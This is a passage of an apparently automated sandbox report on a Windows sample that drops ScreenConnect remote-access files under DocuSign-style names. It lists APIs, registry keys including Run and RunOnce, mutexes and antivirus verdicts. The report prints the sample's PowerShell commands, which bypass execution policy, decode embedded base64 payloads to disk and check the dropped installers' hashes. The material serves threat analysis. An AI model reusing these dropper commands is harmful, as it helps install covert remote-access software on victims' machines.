"00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "Wow64EnableWow64FsRedirection"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "CreateActCtxW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "ActivateActCtx"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "DeactivateActCtx"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "ReleaseActCtx"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "QueryActCtxW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "PathIsRelativeW"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "NtQuerySystemInformation"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "RtlImageNtHeader"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "NtSetInformationProcess"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "NtQueryInformationToken"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "NtOpenProcessToken"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "NtClose"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "DelayLoadFailureHook"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API (Indicator: "RaiseFailFastException"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosErrorNoTeb"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "RtlDllShutdownInProgress"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "LoadIconW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "RegisterClassW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetWindow"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "LoadCursorW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process2"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "InitOnceExecuteOnce"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetSystemWow64Directory2W"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "AttachConsole"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "OpenSemaphoreW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockShared"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "FreeConsole"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexExW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockShared"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CLSIDFromString"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "Wow64EnableWow64FsRedirection"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CreateActCtxW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "ActivateActCtx"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "DeactivateActCtx"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "ReleaseActCtx"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "QueryActCtxW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "PathIsRelativeW"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "NtQuerySystemInformation"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "RtlImageNtHeader"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "NtQueryInformationToken"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "NtOpenProcessToken"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "NtClose"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "DelayLoadFailureHook"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00005136.00000000.218070.7C300000.00000004.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00005136.00000000.218070.7C300000.00000004.mdmp")50:T23e5,"SOFTWARE\Policies\" in Source: 46143-495-000C4FAB "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 46143-604-000A8AF2 "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 46143-755-000C3B71 "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 46143-874-0008F1BA "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 46143-874-0008F1BA "SOFTWARE\%ls\Updates\" in Source: 46143-882-0008E895 "SOFTWARE\Policies\Microsoft\Windows\Installer" in Source: 46143-982-00093A2C "SOFTWARE\Microsoft\Windows\CurrentVersion" in Source: 46143-1099-00085D14 "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 46143-1116-000C3448 "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00002772.00000000.215210.140BB000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002772.00000000.215210.140BB000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00002772.00000000.215210.140BB000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00002772.00000000.215210.140BB000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00002772.00000000.215210.140BB000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002772.00000000.215210.140BB000.00000002.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}p" in Source: 00000000-00002772.00000000.215210.DE600000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002772.00000000.215210.E08D0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002772.00000000.215210.E08D0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00002772.00000000.215210.E08D0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SYSTEM\CurrentControlSet\Control\CI\TRSData" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.AllowSmtpFallbackToPlainTextoxyTunnelConnectionEarlying" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.FinishProxyTunnelConnectionEarly" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.AllowNewLineInFtpCommand" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.AllowSmtpFallbackToPlainText" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005036.00000000.215916.05470000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005036.00000000.215916.05470000.00000004.mdmp "SYSTEM\CurrentControlSet\Services\" in Source: 00000000-00005036.00000000.215916.05470000.00000004.mdmp "SYSTEM\CurrentControlSet\Services\ScreenConnect Client (de1a37d99a21998c)" in Source: 00000000-00005036.00000000.215916.05470000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006420.00000000.214162.CF280000.00000004.mdmp 00000000-00006420.00000001.214348.CF280000.00000004.mdmp "E\Software\M" in Source: 00000000-00006420.00000000.214162.CF280000.00000004.mdmp 00000000-00006420.00000001.214348.CF280000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006420.00000000.214162.CF280000.00000004.mdmp 00000000-00006420.00000001.214348.CF280000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006420.00000000.214162.CF280000.00000004.mdmp 00000000-00006420.00000001.214348.CF280000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00006420.00000000.214162.E9770000.00000004.mdmp51:T8f1,Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4720:304:WilStaging_02" Process cmd.exe created mutex with name "SM0:4720:304:WilStaging_02" Process fltMC.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1336:304:WilStaging_02" Process fltMC.exe created mutex with name "SM0:1336:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6420:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:6420:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:6420:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:6420:120:WilError_03" Process powershell.exe created mutex with name "SM0:6420:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6420:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6420:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6420:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7528:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7528:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7528:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7528:120:WilError_03" Process powershell.exe created mutex with name "SM0:7528:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:7528:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:7528:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:7528:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2772:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:2772:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:2772:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:2772:120:WilError_03" Process powershell.exe created mutex with name "SM0:2772:304:WilStaging_02"52:T4a0,Antivirus vendors marked dropped file "SecondInstaller.exe" as clean (type is "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"), Antivirus vendors marked dropped file "ScreenConnect.Core.dll" as clean (type is "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"), Antivirus vendors marked dropped file "mbapreq.dll" as clean (type is "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"), Antivirus vendors marked dropped file "DocuSign.BootstrapperApplication.dll" as clean (type is "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"), Antivirus vendors marked dropped file "Microsoft.Deployment.WindowsInstaller.dll" as clean (type is "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"), Antivirus vendors marked dropped file "DocuSign.BootstrapperApplication.resources.dll" as clean (type is "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"), Antivirus vendors marked dropped file "MSIE844.tmp" as clean (type is "PE32+ executable for MS Windows 5.02 (DLL) x86-64 InstallShield self-extracting archive 6 sections")53:T58a,Process "powershell.exe" with commandline "-NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\\s*(.*?)\\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"" (UID: 00000000-00006420), Process "powershell.exe" with commandline "-NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\\s*(.*?)\\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"" (UID: 00000000-00007528), Process "powershell.exe" with commands "-NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$m=Join-Path -Path $env:TD -ChildPath 'SC_FeedbackTool.msi'; $e=Join-Path -Path $env:TD -ChildPath 'SecondInstaller.exe'; if((Get-FileHash -Algorithm SHA256 -LiteralPath $m).Hash -ne 'C8F361433837AFE3CEB00D300E3B922FE5DD56365DADE70E3187031166D8676E'){exit 2}; if((Get-FileHash -Algorithm SHA256 -LiteralPath $e).Hash -ne '7AD243CD358D916E029BA8FF9A616DFDCAB29B594A9EBF08A66A1C4BD63FB7E2'){exit 3}"" (UID: 00000000-00002772)54:T1123,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" 